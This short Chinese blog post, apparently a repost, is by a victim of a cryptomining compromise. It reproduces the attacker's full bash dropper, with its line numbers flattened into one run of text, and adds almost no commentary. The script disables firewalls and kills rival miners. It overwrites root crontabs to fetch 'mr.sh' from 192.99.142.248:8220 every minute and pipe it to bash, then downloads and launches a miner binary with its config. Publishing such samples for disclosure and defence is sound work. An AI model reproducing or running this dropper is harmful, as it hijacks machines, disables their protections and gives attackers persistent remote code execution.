几天前,亲身经历了被攻击-成为挖矿肉鸡的经历,先将脚本部分公布。
1 #!/bin/bash 2 mkdir /var/tmp 3 chattr -i /usr/bin/wget 4 chmod 755 /usr/bin/wget 5 chattr -i /usr/bin/curl 6 chmod 755 /usr/bin/curl 7 /etc/init.d/iptables stop 8 service iptables stop 9 SuSEfirewall2 stop 10 reSuSEfirewall2 stop 11 pkill -f sysxlj 12 pkill -f jourxlv 13 pkill -f sustes 14 touch /etc/ld.so.preload 15 netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 16 netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 17 rm -rf /usr/lib/void.so 18 rm -rf /etc/voidonce.sh 19 rm -rf /usr/local/lib/libjdk.so 20 rm -rf /usr/local/lib/libntp.so 21 ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9 22 sed -i '$d' /etc/crontab 23 rm -rf /lib64/library1.so 24 rm -rf /usr/lib64/library1.so 25 iptables -I OUTPUT -s 167.99.166.61 -j DROP 26 iptables -I INPUT -s 167.99.166.61 -j DROP 27 iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP 28 iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP 29 rm -rf /etc/cron.monthly/oanacroner 30 rm -rf /etc/cron.daily/oanacroner 31 rm -rf /etc/cron.hourly/oanacroner 32 rm -rf /usr/local/bin/dns 33 echo "" > /etc/crontab 34 echo "" > /etc/cron.d/root 35 echo "" > /etc/cron.d/apache 36 echo "" > /var/spool/cron/root 37 echo "" > /var/spool/cron/crontabs/root 38 chkconfig --del netdns 39 pkill -f netdns 40 echo "" > /etc/cron.d/system 41 chmod 777 /var/tmp 42 rm -rf /usr/local/bin/dns 43 rm -rf /usr/sbin/netdns 44 rm -rf /etc/init.d/netdns 45 rm -rf /etc/cron.monthly/oanacroner 46 rm -rf /etc/cron.daily/oanacroner 47 rm -rf /etc/cron.hourly/oanacroner 48 chattr -i /usr/local/lib/libntpd.so 49 chmod 777 /usr/local/lib/libntpd.so 50 rm -rf /usr/local/lib/libntpd.so 51 sed -i '/libntpd.so/d' /etc/ld.so.preload 52 crontab -l | sed '/pastebin.com/d' | crontab - 53 netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 54 netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 55 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 56 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 57 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 58 netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 59 netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 60 netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 61 netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 62 pkill -f /usr/bin/.sshd 63 netstat -antp | grep '158.69.133.20:3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 64 rm -rf /var/tmp/j* 65 rm -rf /tmp/j* 66 rm -rf /var/tmp/java 67 rm -rf /tmp/java 68 rm -rf /var/tmp/java2 69 rm -rf /tmp/java2 70 rm -rf /var/tmp/java* 71 rm -rf /tmp/java* 72 chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3 73 chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate 74 rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate 75 rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik 76 rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius 77 rm -rf /tmp/*index_bak* 78 rm -rf /tmp/*httpd.conf* 79 rm -rf /tmp/*httpd.conf 80 rm -rf /tmp/a7b104c270 81 rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas 82 rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache 83 netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9 84 echo -e "*/1 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/root 85 echo -e "*/2 * * * * root (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/apache 86 echo -e "*/30 * * * * (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/root 87 mkdir -p /var/spool/cron/crontabs 88 echo -e "* * * * * (curl -s http://192.99.142.248:8220/mr.sh||wget -q -O - http://192.99.142.248:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root 89 mkdir -p /etc/cron.hourly 90 (curl -fsSL --connect-timeout 120 http://192.99.142.248:8220/11 -o /etc/cron.hourly/oanacroner1||http://192.99.142.248:8220/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1 91 chmod 777 /var/tmp/sustse 92 ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid 93 do 94 kill -9 $procid 95 done 96 ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9 97 ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9 98 netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep 99 if [ $? -eq 0 ]100 then101 pwd102 else103 curl http://192.99.142.248:8220/2mr.sh | bash -sh104 fi105 sleep 2106 netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep107 if [ $? -eq 0 ]108 then109 pwd110 else111 curl http://192.99.142.248:8220/3mr.sh | bash -sh112 fi113 DIR="/var/tmp"114 if [ -a "/var/tmp/sustse" ]115 then116 if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]117 then118 if [ -x "$(command -v md5sum)" ]119 then120 sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')121 echo $sum122 case $sum in123 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)124 echo "sustse OK"125 ;;126 *)127 echo "sustse wrong"128 pkill -f wc.conf129 pkill -f sustse130 sleep 4131 ;;132 esac133 fi134 echo "P OK"135 else136 DIR=$(mktemp -d)/var/tmp137 mkdir $DIR138 echo "T DIR $DIR"139 fi140 else141 if [ -d "/var/tmp" ]142 then143 DIR="/var/tmp"144 fi145 echo "P NOT EXISTS"146 fi147 if [ -d "/var/tmp/sustse" ]148 then149 DIR=$(mktemp -d)/var/tmp150 mkdir $DIR151 echo "T DIR $DIR"152 fi153 WGET="wget -O"154 if [ -s /usr/bin/curl ];155 then156 WGET="curl -o";157 fi158 if [ -s /usr/bin/wget ];159 then160 WGET="wget -O";161 fi162 f2="192.99.142.248:8220"163 164 downloadIfNeed()165 {166 if [ -x "$(command -v md5sum)" ]167 then168 if [ ! -f $DIR/sustse ]; then169 echo "File not found!"170 download171 fi172 sum=$(md5sum $DIR/sustse | awk '{ print $1 }')173 echo $sum174 case $sum in175 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)176 echo "sustse OK"177 ;;178 *)179 echo "sustse wrong"180 sizeBefore=$(du $DIR/sustse)181 if [ -s /usr/bin/curl ];182 then183 WGET="curl -k -o ";184 fi185 if [ -s /usr/bin/wget ];186 then187 WGET="wget --no-check-certificate -O ";188 fi189 #$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse190 download191 sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')192 if [ -s /usr/bin/curl ];193 then194 echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt195 fi196 ;;197 esac198 else199 echo "No md5sum"200 download201 fi202 }203 204 download() {205 if [ -x "$(command -v md5sum)" ]206 then207 sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')208 echo $sum209 case $sum in210 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)211 echo "sustse OK"212 cp $DIR/sustse3 $DIR/sustse213 ;;214 *)215 echo "sustse wrong"216 download2217 ;;218 esac219 else220 echo "No md5sum"221 download2222 fi223 }224 225 download2() {226 if [ `getconf LONG_BIT` = "64" ]227 then228 $WGET $DIR/sustse http://192.99.142.248:8220/tte2229 fi230 231 if [ -x "$(command -v md5sum)" ]232 then233 sum=$(md5sum $DIR/sustse | awk '{ print $1 }')234 echo $sum235 case $sum in236 042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)237 echo "sustse OK"238 cp $DIR/sustse $DIR/sustse3239 ;;240 *)241 echo "sustse wrong"242 ;;243 esac244 else245 echo "No md5sum"246 fi247 }248 249 judge() {250 if [ ! "$(netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep)" ];251 then252 ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid253 do254 kill -9 $procid255 done256 downloadIfNeed257 touch /var/tmp/123258 pkill -f /var/tmp/java259 pkill -f w.conf260 chmod +x $DIR/sustse261 $WGET $DIR/wc.conf http://$f2/wt.conf262 nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &263 sleep 5264 else265 echo "Running"266 fi267 }268 269 judge2() {270 if [ ! "$(ps -fe|grep 'sustse'|grep 'wc.conf'|grep -v grep)" ];271 then272 downloadIfNeed273 chmod +x $DIR/sustse274 $WGET $DIR/wc.conf http://$f2/wt.conf275 nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &276 sleep 5277 else278 echo "Running"279 fi280 }281 282 if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];283 then284 judge2285 else286 judge287 fi288 289 if crontab -l | grep -q "192.99.142.248:8220"290 then291 echo "Cron exists"292 else293 crontab -r294 echo "Cron not found"295 LDR="wget -q -O -"296 if [ -s /usr/bin/curl ];297 then298 LDR="curl";299 fi300 if [ -s /usr/bin/wget ];301 then302 LDR="wget -q -O -";303 fi304 (crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.248:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -305 fi306 rm -rf /var/tmp/jrm307 rm -rf /tmp/jrm308 pkill -f 185.222.210.59309 pkill -f 95.142.40.81310 pkill -f 158.69.133.18311 chmod 777 /var/tmp/sustse312 crontab -l | sed '/185.222.210.59/d' | crontab -
原文链接:http://www.cnblogs.com/prosess/p/10300116.html
本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728